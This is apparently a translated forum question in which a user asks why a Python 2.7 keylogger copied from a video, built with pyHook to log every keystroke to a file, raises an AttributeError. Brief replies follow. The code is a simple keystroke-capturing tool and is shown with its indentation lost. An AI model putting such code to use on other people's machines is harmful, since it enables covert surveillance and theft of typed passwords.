我複製從這段視頻的鍵盤記錄器:(https://www.youtube.com/watch?v=8BiOPBsXh0g)和運行代碼:沒有屬性 'HookManager'
import pyHook, sys, logging, pythoncom
file_log = 'C:\Users\User\Google Drive\Python'
def OnKeyboardEvent(event):
logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.Pumpmessages()
這將返回錯誤:
Traceback (most recent call last):
File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module>
import pyHook, sys, logging, pythoncom
File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
hooks_manager = pyHook.HookManager()
AttributeError: 'module' object has no attribute 'HookManager'
我正在運行的Python 2.7 .11和一臺windows電腦。 我不知道問題是什麼;請幫忙。 謝謝
感謝您的幫助,但這似乎沒有解決問題,但我現在有一個工作版本的程序,但是。感謝您花時間回答我的問題 – Crelic
兄弟我已經測試過這個程序,它工作正常。 –